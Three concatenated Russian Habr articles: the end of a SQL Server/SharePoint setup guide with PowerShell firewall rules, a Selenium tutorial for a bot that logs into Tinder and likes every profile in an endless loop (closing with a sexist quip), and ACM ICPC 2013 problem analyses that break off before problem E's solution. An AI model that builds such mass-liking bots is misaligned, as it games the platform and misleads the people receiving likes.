Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow -NotifyOnListen True -AllowUnicastResponseToMulticast True
#### Настройка брандмауэра Windows для доступа к компоненту Database Engine
New-NetFirewallRule -DisplayName «SQL Server» -Direction Inbound –Protocol TCP –LocalPort 1433 -Action allow
New-NetFirewallRule -DisplayName «SQL Admin Connection» -Direction Inbound –Protocol TCP –LocalPort 1434 -Action allow
New-NetFirewallRule -DisplayName «SQL Database Management» -Direction Inbound –Protocol UDP –LocalPort 1434 -Action allow
New-NetFirewallRule -DisplayName «SQL Service Broker» -Direction Inbound –Protocol TCP –LocalPort 4022 -Action allow
New-NetFirewallRule -DisplayName «SQL Debugger/RPC» -Direction Inbound –Protocol TCP –LocalPort 135 -Action allow
Если для БД SharePoint используется именованный экземпляр SQL, то также необходимо подключение по именованному порту. Номер порта назначается динамически, отображается в менеджере конфигурации SQL Server (Сетевая конфигурация | Протоколы | TCP/IP| Свойства).
New-NetFirewallRule -DisplayName «SQL NamePort» -Direction Inbound –Protocol TCP –LocalPort -Action allow
New-NetFirewallRule -DisplayName «SQLSERVR» -program " C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\Binn\Sqlservr.exe" -direction Inbound -Action Allow
#### Настройка брандмауэра Windows на разрешение доступа к службам Analysis Services
New-NetFirewallRule -DisplayName «SQL Analysis Services» -Direction Inbound –Protocol TCP –LocalPort 2383 -Action allow
New-NetFirewallRule -DisplayName «SQL Browser» -Direction Inbound –Protocol TCP –LocalPort 2382 -Action allow
New-NetFirewallRule -DisplayName «HTTP» -Direction Inbound –Protocol TCP –LocalPort 80 -Action allow
New-NetFirewallRule -DisplayName «SSL» -Direction Inbound –Protocol TCP –LocalPort 443 -Action allow
#### Настройка брандмауэра для доступа к серверу отчетов
New-NetFirewallRule -DisplayName «HTTP» -Direction Inbound –Protocol TCP –LocalPort 80 -Action allow
New-NetFirewallRule -DisplayName «SSL» -Direction Inbound –Protocol TCP –LocalPort 443 -Action allow
Исчерпывающий перечень номеров портов, используемых SQL можно найти [здесь](http://technet.microsoft.com/en-us/library/cc646023.aspx).
### Псевдонимы для использования клиентами SQL
Чтобы создать псевдоним для SQL Server, необходимо выполнить следующую последовательность действий:
1. В диспетчере конфигурации SQL Server развернуть пункт Конфигурация клиента Native Client SQL, выбрать пункт Псевдонимы, нажать правой кнопкой мыши, в появившемся меню выбрать Создать псевдоним.
2. В поле Имя псевдонима указать имя. Клиентское приложение сможет использовать это имя вместо имени сервера для подключения.
3. В поле Сервер указать имя сервера или IP-адрес. Для именованного экземпляра добавить имя этого экземпляра.
4. В поле Протокол выбрать протокол, который будет использоваться для этого псевдонима.
5. Создать DNS-запись типа АA, которая разрешает имя псевдонима в IP-адрес SQL-сервера.
### Настройка прав доступа перед установкой SharePoint
Необходимо настроить права учетной записи, от имени которой будет выполнена установка SharePoint Server.
### Параметры быстродействия
По умолчанию визуальные эффекты выбирается на основе производительности сервера. Для повышения производительности сервера рекомендуем выбрать режим **Обеспечить наилучшее быстродействие** (**Свойства системы** > вкладка **Дополнительно** > раздел **Быстродействие** > **Параметры** > вкладка **Визуальные эффекты**).
### Управление виртуальной памятью
Рекомендуем определить размер и расположения файла подкачки. Размер файла подкачки должен быть равен выделенной оперативной памяти сервера с коэффициентом 1,5. Пример: 8192 MB RAM х 1,5 = 12288 MB. Рекомендуем размещать файл подкачки на отдельном диске — не системном.
(**Свойства системы** -> вкладка **Дополнительно** > раздел **Быстродействие** > **Параметры** > вкладка **Дополнительно** > раздел **Виртуальная память**).
### Настройка схемы управления электропитанием
По умолчанию включена сбалансированная схема питания. Схема питания для высокой производительности позволяет получить более высокую пропускную способность сервера.
Откройте **Панель управления**> **Система и безопасность** > **Электропитание** и выберите схему питания **Высокая производительность**.
### Флаг трассировки 1117
Установка TraceFlags 1117 обеспечивает равномерный рост всех файлов данных. Когда файл в файловой группе достигает порогового значения автоприращения, все файлы в файловой группе автоматически увеличиваются в размере на коэффициент приращения.
Для настройки автоматического приращения файлов в группе перейдите в **Диспетчер конфигурации SQL Server** > **Службы SQL Server** > **SQL Server <имя экземпляра>** > **Свойства** > **Дополнительно** > **Параметры запуск**а, после чего добавьте в конце строки «;-T1117».
Начиная с SQL Server 2016 это поведение контролируется с помощью опции AUTOGROW\_SINGLE\_FILE и AUTOGROW\_ALL\_FILES в **параметрах базы данных**, а флаг трассировки 1117 не оказывает никакого влияния.
Если у вас остались вопросы, задавайте в комментариях! | https://habr.com/ru/post/325328/ | null | ru | null |
# Используй время правильно: автоматизация процессов в Tinder
Думаю многие любят знакомиться в соц. сетях и пользуются приложениями (например Tinder),
но часто уходит много времени на то, что бы ставить лайки и отправлять первые
сообщения. Я считаю что это монотонные действия которые только отталкивают от
общения и знакомства. Если ты программист, зачем быть как все, давай вместе со
мной автоматизируем процесс монотонных действий и оставим свое внимание только
для приятного общения, но обо всём по порядку.
### Подготовка
> В данной статье я буду использовать браузер ***Chrome***.
1. Создадим папку с проектом ***bot\_tinder***.
2. В папке ***bot\_tinder*** создадим подпапки с названиями***chromedriver\_for\_win*** и ***chromedriver\_for\_mac***, и ***chromedriver\_for\_lin*** (т.к. реализацию делаем для 3 ОС *Windows*, *macOS*, *Linux*).
3. Скачаем [webdriver](https://chromedriver.chromium.org/downloads) под вашу версию браузера (я использую Chrome, если используете Firefox то можно скачать от [сюда](https://github.com/mozilla/geckodriver/releases)), для большего сходства с моей реализации можете скачать для каждой ОС.
4. Скаченные файлы размещаем по папкам ***chromedriver\_for\_win, chromedriver\_for\_mac, chromedriver\_for\_lin***.
> Если скачали только для своей ОС, ничего страшного, т.к. в коде это предусмотрим.
5. В папке ***bot\_tinder*** создадим файл с названием ***log.txt*** (в него записываем номер телефона по которому будет заходить в Tinder). Формат без восьмерки: 9851234567
6. В папке ***bot\_tinder*** создадим файлы ***tinder.py***, ***function.py***.
В итоге у вас должно получиться так:
В каждой папке должен располагаться файл ***webdriver*** скаченный ранее.
> Если реализуете только под свою ОС, тогда файл ***webdriver*** должен располагаться только в одной из папок с названием вашей ОС *«chromedriver\_for\_вашаОС»*.
### Реализация
В файле ***tinder.py*** импортируем библиотеку:
```
# -*- coding: utf-8-*-
from selenium import webdriver
```
В файле ***function.py*** импортируем библиотеки:
```
from selenium.common.exceptions import NoSuchElementException, ElementNotInteractableException
from sys import platform
from time import sleep
import datetime
```
Далее в файле ***function.py*** создаем переменные которые нам позже понадобятся:
```
error = ''
warning = ''
ok = ''
oc = ''
like = ''
all_sleep = 3
like_sleep = 2
```
Значки удалились интерпретатором Хабр, но должно быть так:
Значки можете скопировать с [сайта](https://www.copyandpasteemoji.com/) или использовать библиотеку [emoji](https://pypi.org/project/emoji/).
Переменные ***all\_sleep***, ***like\_sleep*** указывают на время задержки в секундах.
После в файле ***function.py*** создаем функции:
* Первая функция будет определять дату и время:
```
def get_data_time():
time_now = datetime.datetime.now()
return time_now.strftime("%d-%m-%Y %H:%M")
```
* Вторая функция будет определять Вашу ОС и обращаться к нужному ***webdriver***:
```
def get_OC():
"""
Define OS.
:return: OS information and path to chromedriver.exe
"""
if platform == "linux" or platform == "linux2":
time_now = datetime.datetime.now()
information = "[" + get_data_time() + '] {} Ваша ОС Linux'.format(oc)
put = "chromedriver_for_lin/**название webdriver**"
return information, put
elif platform == "darwin":
time_now = datetime.datetime.now()
information = "[" + get_data_time() + '] {} Ваша ОС Mac'.format(oc)
put = "chromedriver_for_mac/**название webdriver**"
return information, put
elif platform == "win32":
time_now = datetime.datetime.now()
information = "[" + get_data_time() + '] {} Ваша ОС Windows'.format(oc)
put = "chromedriver_for_win/chromedriver.exe"
return information, put
```
> Не забудьте прописать путь к ***webdriver*** в переменной ***put***.
* Третья функция будет читать номер телефона из файла ***log.txt***:
```
def information_from_txt_files():
"""
Read the .txt files
:return: Information. Login.
"""
information = ''
with open('log.txt', 'r') as file:
log = file.read()
information += "[" + get_data_time() + \
'] {} Логин для входа на сайт Tinder: {}'.format(ok, log)
return information, log
```
* Четвертая функция будет закрывать всплывающее окно на сайте Tinder:
```
def close_start_popups(browser):
"""
Close the popup.
:param browser: parameter of the running browser.
:return: information.
"""
sleep(all_sleep)
try:
browser.find_element_by_xpath('//button[@aria-label="Закрыть"]').click()
return "[" + get_data_time() + "] {} Всплывающее окно закрыто.".format(ok)
except ElementNotInteractableException as err:
return "[" + get_data_time() + '] {} ' + err + ''.format(error)
except NoSuchElementException as err:
return "[" + get_data_time() + '] {} Не нашел всплавающего окна.'.format(error)
```
* Пятая функция будет нажимать кнопку *«Войти с помощью номера телефона»*:
```
def log_in_using_your_phone(browser):
"""
Click the Login button using the phone number.
:param browser: parameter of the running browser.
:return: information
"""
sleep(all_sleep)
try:
browser.find_element_by_xpath('//div[@id="modal-manager"]').find_element_by_xpath('//button[@aria-label="Войти с помощью номера телефона"]').click()
return "[" + get_data_time() + "] {} Войти с помощью номера телефона.".format(ok)
except ElementNotInteractableException as err:
return "[" + get_data_time() + '] {} ' + err + ''.format(error)
except NoSuchElementException as err:
browser.find_element_by_xpath('//button[text()="Другие варианты"]').click()
return log_in_using_your_phone(browser)
```
* Шестая функция будет вводить номер телефона:
```
def input_number_phone(browser, log):
"""
Enter the phone number.
:param browser: parameter of the running browser.
:param log: phone number.
:return: information.
"""
sleep(all_sleep)
try:
browser.find_element_by_name('phone_number').send_keys(log)
return "[" + get_data_time() + '] {} Введен номер телефона {}'.format(ok, log)
except NoSuchElementException:
return "[" + get_data_time() + '] {} Не нашел окна для ввода телефона.'.format(error)
```
* Седьмая функция нажимает кнопку *«Продолжить»*:
```
def go_on(browser):
"""
Click the Continue button.
:param browser: parameter of the running browser.
:return: information
"""
sleep(all_sleep)
try:
browser.find_element_by_xpath('//span[text()="Продолжить"]').click()
return "[" + get_data_time() + '] {} Нажата кнопка Продолжить'.format(ok)
except NoSuchElementException:
return "[" + get_data_time() + '] {} Не нашел кнопки Продолжить.'.format(error)
```
* Восьмая функция запрашивает ввод кода, который придет Вам на телефон:
```
def code_check():
"""
Entering a code and checking the entered code.
:return: entered code
"""
kod_numbers = input("[" + get_data_time() + "] {} Введите код: ".format(warning))
if len(kod_numbers) != 6:
print("[" + get_data_time() + '] {} Код не верный.'.format(error))
return code_check()
else:
print("[" + get_data_time() + '] {} Формат кода проверен.'.format(ok))
return kod_numbers
```
Так же функция проверяет кол-во введенных цифр.
* Девятая функция вводит код:
```
def input_cod(browser):
"""
Code entry.
:param browser: parameter of the running browser.
:return: information.
"""
try:
kod_numbers = code_check()
kod = browser.find_elements_by_xpath('//input[@type="tel"]')
n = 0
for i in kod:
i.send_keys(kod_numbers[n])
n += 1
return "[" + get_data_time() + '] {} Код введен.'.format(ok)
except NoSuchElementException:
return "[" + get_data_time() + '] {} Не нашел полей для ввода кода.'.format(error)
```
* Десятая функция разрешает определение геолокации:
```
def geolocation_ok(browser):
"""
We allow geolocation.
:param browser: parameter of the running browser.
:return: information.
"""
sleep(all_sleep)
try:
browser_button = browser.find_elements_by_tag_name("button")
button_list = {i.text: i for i in browser_button}
if "РАЗРЕШИТЬ" in button_list.keys():
button = [value for key, value in button_list.items() if key == "РАЗРЕШИТЬ"]
button[0].click()
return "[" + get_data_time() + '] {} Геолокация разрешена.'.format(ok)
else:
return "[" + get_data_time() + '] {} Не нашел полей Разрешить для Геолокации.'.format(error)
except NoSuchElementException:
return "[" + get_data_time() + '] {} Не нашел полей Разрешить для Геолокации.'.format(error)
```
* Одиннадцатая функция отключает оповещение:
```
def notice_off(browser):
"""
Turn off notifications.
:param browser: parameter of the running browser.
:return: information.
"""
sleep(all_sleep)
try:
browser_button = browser.find_elements_by_tag_name("button")
button_list = {i.text: i for i in browser_button}
if "НЕИНТЕРЕСНО" in button_list.keys():
button = [value for key, value in button_list.items() if key == "НЕИНТЕРЕСНО"]
button[0].click()
return "[" + get_data_time() + '] {} Уведомления отключены.'.format(ok)
else:
return "[" + get_data_time() + '] {} Не нашел поле Неинтерсно для Уведомлений.'.format(error)
except NoSuchElementException:
return "[" + get_data_time() + '] {} Не нашел поле Неинтерсно для Уведомлений.'.format(error)
```
* Двенадцатая функция закрывает всплывающие окна:
```
def popup_windows_off(browser):
"""
Close popups.
:param browser: parameter of the running browser
:return: information
"""
sleep(like_sleep)
try:
browser_button = browser.find_elements_by_tag_name("button")
button_list = {i.text: i for i in browser_button}
if "НЕИНТЕРЕСНО" in button_list.keys():
button = [value for key, value in button_list.items() if key == "НЕИНТЕРЕСНО"]
button[0].click()
print("[" + get_data_time() + '] {} Всплавающее окно.'.format(ok))
except NoSuchElementException:
pass
```
* Тринадцатая функция ставит Like:
```
def click_like(browser):
"""
Click LIKE.
:param browser: parameter of the running browser
:return: information
"""
sum_like = 0
while True:
try:
popup_windows_off(browser)
browser.find_element_by_xpath('//button[@aria-label="Лайк"]').click()
sum_like += 1
print("[" + get_data_time() + '] {} - {}'.format(like, str(sum_like)))
except NoSuchElementException:
print("[" + get_data_time() + '] {} Не нашел поле Лайк.'.format(error))
```
Теперь переходим к файлу ***tinder.py*** и прописываем импорт всех функций:
```
from function import get_OC, information_from_txt_files, close_start_popups, notice_off, click_like, log_in_using_your_phone, input_number_phone, go_on, input_cod, geolocation_ok
```
Определяем ОС:
```
# Определение ОС
info, put = get_OC()
print(info)
```
Задаем параметры браузера:
```
# путь к драйверу chrome
chromedriver = put
options = webdriver.ChromeOptions()
options.add_argument('--start-minimize')
browser = webdriver.Chrome(executable_path=chromedriver, chrome_options=options)
```
> Если вы работаете с ***Firefox*** тогда, прочтите как работать с ним с помощью библиотеки [selenium.webdriver](https://selenium-python.readthedocs.io/getting-started.html).
Запускается браузер и заходит на страницу Tinder:
```
# После успешного входа в систему переходим на страницу
browser.get('https://tinder.com/app/recs')
```
Теперь начинаем использовать функции подготовленные ранее:
```
# Открываем txt файлы с данными
info_txt, log = information_from_txt_files()
print(info_txt)
# Закрываем в начале всплывающее окно
print(close_start_popups(browser))
# Нажимаем Вход с помощью телефона
print(log_in_using_your_phone(browser))
# Вводим номер телефона
print(input_number_phone(browser, log))
# Нажимаем кнопку Продолжить
print(go_on(browser))
# Вводим код
print(input_cod(browser))
# Нажимаем кнопку Продолжить
print(go_on(browser))
# Нажимаем кнопку Разрешить определять геолокацию
print(geolocation_ok(browser))
# Нажимаем Выключить уведомления
print(notice_off(browser))
# Нажимаем Лайк
click_like(browser)
```
### Заключение
В итоге получите бота который заходит на сайт Tinder и нажимает на Like.
Вам остается только зайти в приложение через пару часов и начать общаться с уже взаимными
симпатиями.
> Автоматизация — это старания мужчин упростить работу настолько, чтобы её могли делать женщины.
*В следующей статье реализуем возможность отправлять сообщения для взаимных лайков.* | https://habr.com/ru/post/494990/ | null | ru | null |
# Разбор задач финала чемпионата мира про программированию ACM ICPC 2013
На прошедшем неделю назад [чемпионате мира по командному программированию ACM ICPC 2013](http://habrahabr.ru/company/yandex/blog/185394/) было 11 задач, одну из которых за отведённое время не смогла решить правильно ни одна из команд.
Но кроме команд есть и другие люди, которые профессионально решают задачи, — аналитики чемпионата. В течение трансляции они разбиваются на группы, распределяют задачи и потом рассказывают о них в студии. Множество зрителей следят за эфиром, пока эти ребята не разберут самую последнюю задачу. Кроме того, аналитики подсказывают ведущему, что происходит «на поле», высматривают интересные куски кода, следят за картинкой с веб-камер участников.
В этом году на ACM ICPC был 21 аналитик из Швеции, Нидерландов, США, Словакии, Беларуси и России. И 10 из них были из Яндекса. Все они в разные годы были призёрами ICPC. Специально для Хабра они разобрали все задания чемпионата.
[](http://habrahabr.ru/company/yandex/blog/186316/)
#### Задача A. Self-Assembly
Одно высоконаучное химическое учреждение активно экспериментирует с Автоматическим Сборщиком Молекул. Молекулы, между которыми возможно образование химических связей, перемешивают и помещают в АСМ, где они образуют сложные молекулярные структуры. Однако иногда возникает проблема — молекулы образуют такую большую группу, что Сборщик заедает.
Напишите программу, которая будет определять, может ли предоставленный набор молекул собираться в структуры неограниченного размера. При этом 1) задача ограничена плоскими структурами и 2) каждая молекула имеет вид квадрата, все молекулы имеют одинаковый размер. Четыре стороны квадрата обозначают поверхности, которыми молекулы могут соединяться с совместимыми молекулами.
В каждом тесте вам будет представлен набор описаний молекул. Каждый тип молекулы описывается четырьмя парами символов — метками связей,
которые обозначают возможность соответствующей поверхности молекулы соединяться с другими молекулами.
Существует два вида меток связей:
* Заглавная латинская буква (A..Z) и один из символов + или -. Две поверхности могут соединяться, если их метки связей обозначены одинаковыми буквами, но различными знаками. Например, A+ совместима с A-, но не совместима с A+ и B-.
* Два нуля 00. Метка связи 00 означает, что эта поверхность не может образовывать связь (даже с такой же поверхностью с меткой 00).
Предположим, что в Сборщике имеется неограниченное количество молекул каждого из описанных видов, которые можно поворачивать и переворачивать. При образовании молекулярных структур молекулы могут находиться рядом только, если они совместимы. Каждая поверхность молекулы при этом может быть соединена с ничем.
Рисунок показывает пример молекул трех видов и структуры ограниченного размера, собранной из них (это не единственная возможная структура для заданных типов молекул).
Входные данные. Входные данные состоят из одного теста. Каждый тест состоит из двух строк. Первая строка содержит число *n* (1 ≤ *n* ≤ 40000) — количества типов молекул. Вторая строка содержит *n* подстрок по 8 символов каждая — описание каждого вида молекул, причем поверхности описываются по часовой стрелке.
Выходные данные. Выведите слово unbounded, если молекулы могут создать бесконечную структуру и слово bounded в противном случае.
**Решение задачи A**
*Автор разбора — Василий Астахов, бронзовый медалист ACM ICPC 2011 в составе команды МГУ им. М.В. Ломоносова.*
> В задаче требуется понять, существует ли неограниченная молекулярная структура, в которой молекулы имеют вид квадратов с различными связями на сторонах. Учитывая доступность операций поворота и отражения, для решения задачи необходимо и достаточно было понять, существует ли цикл из молекул. Тогда, например, смещаясь все время вправо и вниз, можно было бы получить неограниченную на плоскости структуру, при этом никакие связи, кроме соседних по циклу, не были бы задействованы в молекуле. Для нахождения цикла можно было бы построить граф, в котором вершины — это типы соединений, а ребра из типа соединения *X*[+/−] идут во все типы соединений *Y*, для которых существует молекула, содержащая одновременно *Y* и *X*[−/+] (парную вершину). Тогда, найдя цикл в таком графе, получим существование цикла в исходном. Задача нахождения цикла в ориентированном графе на 52 вершинах (*A*+, *A*−, …, *Z*+, *Z*−) является несложной и может быть решена, например, алгоритмом построения компонент сильной связности (существование компоненты размером более одной вершины будет означать цикл).
>
>
#### Задача B. Hey, Better Bettor
Недавняя рецессия больно ударила по развлекательным заведениям, в том числе и по игорному бизнесу. Среди казино идет жесткая конкуренция, и, чтобы привлечь игроков, некоторые из них стали проводить особенно привлекательные акции. Акция казино включает следующее: вы можете играть столько, сколько хотите. И после того, как вы закончите, какую бы сумму вы ни проиграли с момента начала, казино возвращает *х%* ваших потерь. Естественно, если вы оказались в выигрыше, вы забираете его весь.
При этом нет ограничений ни на продолжительность игры, ни на количество денег, с которым вы вступаете в игру, но вы можете воспользоваться этой акцией только один раз.
Для простоты предположим, что все ставки стоят 1 доллар, а выигрыш составляет 2 доллара. Теперь допустим, что *х* равно 20. Если вы сделаете всего 10 ставок, перед тем как закончить игру, и только 3 из них выиграют, то ваши общие потери составят 3,2 доллара. Если 6 ставок выиграют, то ваш выигрыш составит 2 доллара.
Даны *x* и *p* (вероятность выигрыша единичной ставки в процентах), вам требуется написать программу для определения максимального ожидаемого выигрыша, который вы можете получить, используя любую стратегию игры.
Входные данные. Входные данные состоят из одного теста, который содержит процент возврата *х* (0 ≤ *х* <100) и вероятность выигрыша в процентах *p* (0 ≤ *p* ≤ 50). *x* и *p* имеют не более двух цифр после запятой.
Выходные данные. Выведите максимальный ожидаемый выигрыш с абсолютной погрешностью не более 10-3.
**Решение задачи B**
*Автор разбора — [Михаил Левин](http://codeforces.ru/profile/Michael), бронзовый медалист ACM ICPC 2007 года, серебряный медалист ACM ICPC 2008 года в составе команды МГУ им. М.В. Ломоносова.*
> Заметим, что решение остановить ли сейчас игру зависит только от текущего выигрыша или проигрыша игрока — история не имеет значения. Можно показать, что оптимальная стратегия в этом случае всегда имеет вид «остановиться, если на руках выигрыш *A* или проигрыш *B*», где *A* и *B* — некоторые целые неотрицательные числа. При фиксированных *A* и *B* для того чтобы вычислить ожидаемую прибыль, необходимо уметь решать такую задачу: найти вероятность P(*A*, *B*) того, что игрок в какой-то момент достигнет выигрыша *A*, при этом ни разу до того не имея на руках проигрыша *B* или большего. Если эта задача решена, то ожидаемая прибыль стратегии вычисляется как , где *x*% — скидка, предоставляемая казино игроку в случае проигрыша.
>
>
>
> Для чисел P(*A*, *B*) выполнено рекуррентное соотношение:
>
>
>
> ,
>
>
>
> где *p* — вероятность выигрыша при каждом броске монетки. При этом еще P(0, *A* + *B*) = 1, а P(*A* + *B*, 0) = 0. Если решить эту линейную рекурренту порядка 2, то получим
>
>
>
> ,
>
>
>
> где .
>
>
>
> Если бы мы могли перебрать все возможные пары (*A*, *B*) для каждого входа (*x*, *p*), то мы бы так и сделали, а потом выбрали лучшую. Пар (*A*, *B*) бесконечное количество, но если провести несколько численных экспериментов, то можно заметить, что при возрастании *A* и *B* ожидаемая прибыль сначала растет, а потом начинает падать (можно доказать выпуклость ожидаемой прибыли как функции от *A* и *B*), поэтому всегда достаточно проверить лишь конечное число пар. Кроме того, можно заметить, что наилучшие значения для *A* и *B* тем больше, чем ближе *p* к 0.5, а *x* — к 100. Худший возможный случай — *p* = 0.4999, *x* = 99.99. Оказывается, что в этом случае достаточно перебирать *A* до 21000, а *B* — до 2500, и такого перебора достаточно, чтобы решение проходило ограничения по времени.
#### Задача С. Surely You Congest
Вы отвечаете за систему интеллектуального управления дорожным движением для новых автомобилей. Ваша цель — избежать пробок из водителей, добирающихся из спальных районов в центр города в утренний час пик, используя информацию об устройстве города и движении других автомобилей.
К сожалению, из-за того что водители эгоистичны, они никогда не поедут по не самому короткому из возможных путей в центр, даже если вы попросите их об этом. Вы можете только советовать им, какой из нескольких кратчайших путей выбрать.
Город состоит из перекрестков, соединенных двухсторонними дорогами, которые можно проехать за заданное время. Все водители начинают свое движение на перекрестках (возможно, различных) и заканчивают на одном обозначенном как центр города перекрестке номер 1. Если два водителя одновременно начнут движение по одной и той же дороге в одном направлении, то возникнет пробка и ваша цель будет провалена. Однако водители могут проезжать один и тот же перекресток одновременно или ехать по одной и той же дороге, въехав на нее в разное время.
Определите максимальное количество водителей, которые могут добраться в центр города без пробок, если все водители начинают свое движение одновременно и ни один из них не поедет по неоптимальному пути.
На рисунке машины изображены в их начальном расположении. Один водитель уже находится в центре, а из машин, находящихся на 4 перекрестке, одна может двигаться вдоль пунктирной линии через перекресток 3, другая — вдоль пунктирной линии через перекресток 2, но оставшиеся две не смогут добраться до центра без пробок. Таким образом, ответ на этот тест будет 3.
Входные данные. Вход содержит один тест. Первая строка содержит три числа *n, m* и *c*, где *n* (1≤ *n*≤ 25000) — количество перекрестков, *m* (0 ≤ *m* ≤ 50000) — количество дорог в городе и *c* (0 ≤ *c* ≤ 1000) — количество водителей. Каждая из следующих *m* строк содержит три числа *xi*, *yi* и *ti*, описывающие дорогу, где xi и *yi* (1≤ *xi*, *yi* ≤ n) — номера различных перекрестков, которые соединяет описанная дорога и *ti* (1≤ *ti* ≤ 10000) — время, которое должен потратить водитель чтобы добраться от начала до конца дороги в любом направлении. Гарантируется, что можно добраться в центр с любого перекрестка. Последняя строка содержит c чисел, описывающих начальные перекрестки, на которых расположены машины.
Выходные данные. Выведите максимальное количество водителей, которые смогут добраться в центр города без пробок.
**Решение задачи С**
*Автор разбора — Михаил Левин.*
> Вычислим кратчайшие расстояния *d*(*u*) от всех вершин *u* до конечной вершины *e* при помощи алгоритма Дейкстры с кучей за O(*m* log *n*). Так как все стремятся ехать только по кратчайшему пути, то машины будут ездить только по таким ребрам (*u*, *v*) в сторону от *u* до *v*, что *d*(*u*) = *d*(*v*) + *l*(*u*, *v*), где *l*(*u*, *v*) — длина ребра (*u*, *v*). Построим новый ориентированный граф, состоящий только из таких ребер.
>
>
>
> Для любых двух машин, начавших двигаться одновременно и движущихся от своих исходных точек до конечной точки с одинаковой скоростью, разница расстояний до конечной вершины остается всегда постоянной. Поэтому две машины, начинавшие на разных расстояниях, никогда не могут проехать по одному и тому же ребру одновременно. Сгруппируем все машины по расстоянию от конечной точки. Тогда для каждой группы необходимо найти наибольшее количество попарно непересекающихся по ребрам путей из всех стартовых вершин до конечной вершины в новом ориентированном графе, Эта задача решается при помощи алгоритма нахождения максимального потока в графе: добавим в граф источник и проведем из него ребра во все вершины, в которых есть машины, с пропускной способностью, равной количеству машин в вершине. Все ребра ориентированного графа сделаем пропускной способности 1. Если найти в этом графе максимальный поток из источника в конечную вершину, то как раз и получится максимальное количество попарно не пересекающихся по ребрам путей.
>
>
>
> Найдем максимальный поток для каждой группы вершин на одном расстоянии от конечной и сложим ответы — это и будет ответ к задаче. На нахождение одного увеличивающего поток пути уходит O(*m*), а всего таких путей будет найдено не более *c*, поэтому суммарно все запуски нахождения максимального потока будут выполнены не более чем за O(*mc*). Итого сложность решения O(*m* log *n* + *mc*), что проходит в заданные ограничения.
#### Задача D. Factors
Одна из фундаментальных теорем арифметики гласит, что любое число большее 1 можно единственным образом представить в виде произведения простых чисел. Однако этот уникальный набор простых множителей можно упорядочить различными способами. Например:
Обозначим как *f(k)* количество различных способов упорядочить простые множители числа *k*. Тогда *f*(20) = 3 и *f*(10) = 2.
Вам дано целое положительное число *n*, причем гарантируется, что для любого *n* существует такое *k*, что *f(k)* = *n*. Определите такое минимальное *k*.
Входные данные. Во входном файле приведены не более 1000 тестов, каждый из которых записан в отдельной строке. Каждый тест состоит из целого положительного числа *n* < 263.
Выходные данные. Для каждого теста выведите число n и минимальное *k* > 1 такое что *f*(*k*) = *n*. Числа в тестах выбраны таким образом, что *k* < 263.
**Решение задачи D**
*Автор разбора — [Ренат Гимадеев](http://codeforces.ru/profile/zeliboba), золотой медалист ACM ICPC 2012 в составе команды Физтеха.*
> Это довольная простая задача, у которой было много разных решений. Приведу одно из самых коротких.
>
>
>
> Заметим, что если разложить на простые сомножители *n*=*p*1*k*1*p*2*k*2...*p**t**k**t*, то количество упорядоченных представлений в виде произведения простых будет равно . Это следует из простых комбинаторных рассуждений: упорядочить N разных простых множителей можно N! способами. Если среди этих множителей есть одинаковые, то все упорядочивания, которые отличаются только порядком одинаковых множителей, на самом деле совпадают. Каждую группу по ki одинаковых множителей можно переставить ki! способами. Поэтому каждая уникальная перестановка была посчитана k1!k2!...kt! раз и на это число надо поделить. Эта формула дает нам возможность быстро вычислять *f*(*k*), зная разложение числа *k* на простые множители.
>
>
>
> Дальше нужно заметить, что количество упорядочиваний не зависит от того, чему равны *p*i и как упорядочены между собой *k*i. Поэтому если мы ищем минимальное число, то его надо искать среди чисел вида **n**=2k13k25k3..., причем k1≥k2≥k3≥… Оказывается, что таких чисел среди чисел меньших 263 не так уж и много (в условии просят искать только те решения, которые меньше 263), их около 40000 и они легко генерируются рекурсией. Для каждого из них можно найти *f(k)* по описанной выше формуле и сохранять в ассоциативном массиве минимальные значения числа *k* для каждого полученного *f(k*). После этого каждый запрос из условия обрабатывается за время обращения к этому ассоциативному массиву.
#### Задача E. Harvard
Термин «Гарвардская архитектура» применима к компьютеру с физически разделенной памятью для инструкций и данных. Термин происходит от имени компьютера [Harvard Mark I](http://en.wikipedia.org/wiki/Harvard_Mark_I), созданного в 1944 году. В нем для инструкций использовалась бумажная лента, а для данных — реле.
Некоторые современные микроконтроллеры используют «Гарвардскую архитектуру», но не бумажные ленты и реле! Данные лежат в банках, каждый из которых содержит одинаковое число ячеек. Каждая инструкция обращения к данным имеет байт-смещение *f* в пределах банка и бит *a*, который используется для определения номера банка. Если *a* равно 0, то обращение происходит к банку с номером 0. Если a равно 1, то номер банка хранится в специальном регистре выбора банка (РВБ).
Например, пусть у нас есть 4 банка с 8 ячейками каждый. Обратиться к ячейке с номером 5 можно двумя способами: одной инструкцией с *a* = 0 и *f* = 5 или двумя инструкциями, установив значение РВБ равным 0 и затем использовав инструкцию с *a* = 1 и *f* = 5. Очевидно, что первый способ быстрее, ибо не нужно присваивать значение РВБ. Теперь предположим, что нужно обратиться к ячейке 20 в той же памяти. Сейчас применим только один способ: выполнить инструкцию, установив значение РВБ 2 (если в нем уже не хранится нужное значение), и затем инструкцию с *a* = 1 и *f* = 4. Программа представляет собой последовательность операций. Каждая операция это:
* обращение к переменной, записывается как *Vi*, где *i* — положительное целое число;
* повторение, записывается как *Rn `E`, где *n* — положительное целое число, а `— произвольная программа, эта операция эквивалентна выполнению программы *n* раз.`*
Задача состоит в определении минимального времени выполнения программы. А именно, зная количество и размер банков, а также имея программу, требуется определить минимальное количество инструкций 1(обращения к ячейкам и, возможно, установки значения РВБ) необходимое для выполнения программы. Для этого вам требуется ассоциировать переменные с ячейками памяти и среди всех отображений определить то, которое минимизирует число инструкций. Нужно выдать само это число. Обратите внимание, что значение РВБ до первого присвоения не определено.
Входные данные. Содержат один тест, состоящий из двух строк. В первой *b* и *s* — количество и количество переменных, которое можно хранить в банке. Вторая строка содержит непустую программу с не более чем 1000 элементами (каждый из *Rn*, *V i* и *E* считается за один элемент).
Можно предполагать, что:
+ в повторении *Rn*, n удовлетворяет 1≤ n ≤ 106;
+ тело повторения `Rn E не пусто;
в обращении к переменной *Vi*, *i* удовлетворяет *1* ≤ *i* ≤ *min*(*bs; 13*);
общее число обращений к переменным в программе не превосходит 1012.`
Выходные данные. Выведите одно число — минимальное число инструкций, необходимое для выполнения программы.
**Решение задачи E**
*Автор разбора — [Станислав Пак](http://codeforces.ru/profile/stan), золотой медалист ACM ICPC 2009 в составе команды Саратовского государственного университета.*
